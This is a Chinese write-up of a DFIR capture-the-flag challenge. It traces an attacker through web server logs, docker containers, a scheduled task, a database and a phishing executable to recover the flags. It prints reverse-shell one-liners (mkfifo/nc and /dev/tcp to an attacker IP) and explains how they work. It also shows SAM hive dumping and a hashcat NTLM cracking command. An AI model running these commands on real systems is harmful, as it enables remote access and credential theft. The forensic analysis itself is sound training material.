畸形的爱
畸形的爱(DFIR)复现
对于应急响应的题目,我们最好有取证工具,火眼、取证大师,安恒云沙箱等工具会非常高效地帮我们分析一个文件,虚拟机文件的潜在病毒和数据。
背景:
黑客喜欢王美欣,通过攻击业务网站作为跳板rdp到张佳乐电脑给王美欣发木马
爆破了phpmyadmin(web渗透的经常操作,对第三方,developer进行攻击)
资产图:
解题思路
- 找出攻击者第一次攻击的IP地址:
- 通过进入webserver 使用history查看webserver的使用痕迹(注意在拿到虚拟机等资源时给虚拟机拍个快照,以免启动出现问题或是其它原因丢失了状态而失去信息获取的方式)。
发现曾经使用过nginx和编辑过网络配置 sed ...
- 直接查看nginx的日志,用less 和 re进行搜索(POST .*php等后缀)发现攻击者的IP:192.168.31.240
- 通过进入webserver 使用history查看webserver的使用痕迹(注意在拿到虚拟机等资源时给虚拟机拍个快照,以免启动出现问题或是其它原因丢失了状态而失去信息获取的方式)。
- 找出攻击者第二次攻击的IP地址:
这个在win10的机器(应该是黑客拿到的张家乐的主机),发现了聊天记录,有一个简历.zip文件。(也有通过日志,定时任务发现的方法)拿到文件后放到火眼或是安恒云分析,拿到攻击者IP:192.168.31.11。 - 找出攻击者暴力破解的开始时间:
这个比较难找了,在webserver的主机中的容器中,并且是在三个容器的phpmyadmin的日志中,并且它的日志做了软链接:
root@6801404902b1:/var/log/apache2# ls -la
total 8
drwxrwxrwt 2 www-data www-data 4096 Jan 14 02:29
drwxr-xr-x 1 rootroot4096 Jan 14 02:29
lrwxrwxrwx1 www-data www-data11 Jan 14 02:299 access.log -> /dev/stdout
lrwxrwxrwx 1 www-data www-data11 Jan 14 02:29
lrwxrwxrwx 1 www-data www-data111 Jan 14 02:29 other_vhosts_access.log -> /dev/stdout error.log -> /dev/stderr
容器中的日志被设置成了软链接,我们要怎么查看?
这个时候我们只能在dockers的日志中查找了(暴力破解可以尝试分析index.php login.php的流量):
发现在2025:03:05:58时出现了特别大的流量,且访问的是index.php的登录网站,所以判断是在进行暴力破解。
4. 提交攻击者留下的flag1:
这题直接在win10的机子里用everything搜一下flag就能找到相关文件,打开发现是一个xml脚本,palu{pc3_zgsfqwerlkssaw}就在里面。 不过这个脚本还有有用的信息: 它定时每天执行了一个a.bat文件:
<Actions Context="Author">
<Exec>
<Command>"C:\Program Files (x86)\Microsoft\a.bat"</Command>
</Exec>
所以我们可以看看它在做什么。
一打开就不得了,有拿到一个flag2:
5. 提交攻击者留下的flag2:见上一题描述。
6. 提交攻击者留下的flag3:
这个只能去日志,翻数据库了,在sql的机子里。用mysql 登录,查看数据库情况:
- mysql -u root -p 登录 ,密码要在webserver的index.php文件中找数据库创建的信息。
- 进入库里查看表,列,数据 show databases; use ecommerce_order_system; select * from orders; 就拿到了所有数据,但是,一开始我没发现什么有用的数据,看到有数据以'='结尾那就尝试base64解密,发现第四个数据藏着flag3:flag3palu{sqlaabbccsbwindows}。
- 提交钓鱼文件的哈希32位大写:
之前发现的简历.exe是一个钓鱼文件,我们只需要解压并计算它的哈希值即可(文件名不会改变哈希值)。如果细心的话,其实在安恒云等沙箱都会计算它的对应哈希值的。拿到palu{}(注意大写)
- 提交攻击者留下的webshell-1密码:
根据我们之前翻到的docker的phpmyadmin的access日志,可以找到一个shell.php,再去对应容器中找到文件即可。
/var/www/html/uploads # cat shell.php
/var/www/html/uploads #
-
攻击者开放端口1、2、3:
要收集三个端口,一看就不简单,但是其实还好。都是在hacker使用的攻击链中可以找到的:
第一个: 根目录反弹shell : 1133
第二个: 当PC2向PC1传输文件 “简历.exe”时 横向 192.168.31.11:8084
第三个: webserver的/tmp/r.sh的1144 ——> palu -
提交攻击者留下的webshell-2密码:
就在webserver 的docker:/var/www/html的a.php中。(在日志中有记载他有上传) -
隐藏账户的密码:
要在windows10的机子找,翻一下注册表 reg:没有找到明显的新用户。尝试使用mimikatz工具对注册表进行分析(工具地址:mimikatz)
下面是我们的做法的大体思路:
[导出 SYSTEM/SAM] → [Mimikatz(常用的内存取证,哈希提取工具) 提取哈希] → [破解 NTLM(NEW Techenology Lan Manager) 哈希] → [获取 flag]
- 导出注册表文件:
C:\>reg save HKLM\SYSTEM SystemBkup.hiv
操作成功完成。
C:\>reg save HKLM\SYSTEM sys.hive
操作成功完成。
C:\>reg save HKLM\SAM sam.hive
操作成功完成。
- 用mimikatz计算题目的NTLM哈希值:dbae99beb48fd9132e1cf77f4c746979
- 用hashcat计算来爆破哈希值(用John也可以)。 hashcat -m 1000 -a 3 --force --increment-min-1 --increment-max 10 dbae99beb48fd9132e1cf77f4c746979
注意hashcat会自动将破解的哈希对存储到hashcat.profile文件中,如果已经尝试过了的哈希对,它不会进行重复计算,如果需要重复该过程,请删除哈希对的记录。
- 溯源邮箱:逆向简历.exe ,找到用户名n0k4u,电脑上没有发现其它有个这个的信息,上github上搜,发现用户存在,并且他提供了一个项目,里面给出了一个密语是QQ号(13题答案)。我们继续按照github的接口拿到他的邮箱:https://api.github.com/users/n0k4u/events/public
- QQ号加好友时会发现它的签名(应该是)就有flag,方法见上题信息。palu
攻击过程分析
- 攻击者通过web的漏洞,应该是文件上传获得了容器中的执行命令的能力。然后利用echo等方法将clean.sh脚本进行执行,从而进行反弹shell。
- 反弹shell实现及其原理:
clean.sh代码如下:
echo 'OK';
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.31.11 1133 >/tmp/f
nc -c sh 192.168.31.11 1133
sh -i >& /dev/tcp/192.168.31.11/1133
# 定义目标目录
#UPLOADS_DIR="/var/www/html/uploads/"
# 检查目录是否存在
#if [ -d "$UPLOADS_DIR" ]; then
# echo "正在删除 $UPLOADS_DIR 下的所有 .jpg 文件..."
# find "$UPLOADS_DIR" -type f -name "*.jpg" -exec rm -f {} \;
# echo "删除完成。"
#else
# echo "目录 $UPLOADS_DIR 不存在。"
#fi
Named Pipe 机制
rm /tmp/f; mkfifo /tmp/f:删除旧管道并创建一个新的 FIFO(命名管道)文件 /tmp/f,作为双向通信通道
Linux Systems - Codidact
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.31.11 1133 > /tmp/f:
cat /tmp/f 从FIFO命名管道读取命令并传给 sh -i(交互式 shell)
2>&1 将标准错误重定向到标准输出
| nc IP PORT 将 shell 输出通过 Netcat 发回攻击者
> /tmp/f 再将 Netcat 接收到的命令写入管道
rufflabs.com
上述循环在本地 /tmp/f 与攻击者主机之间形成无限输入/输出回路(使用命名管道),实现全双工交互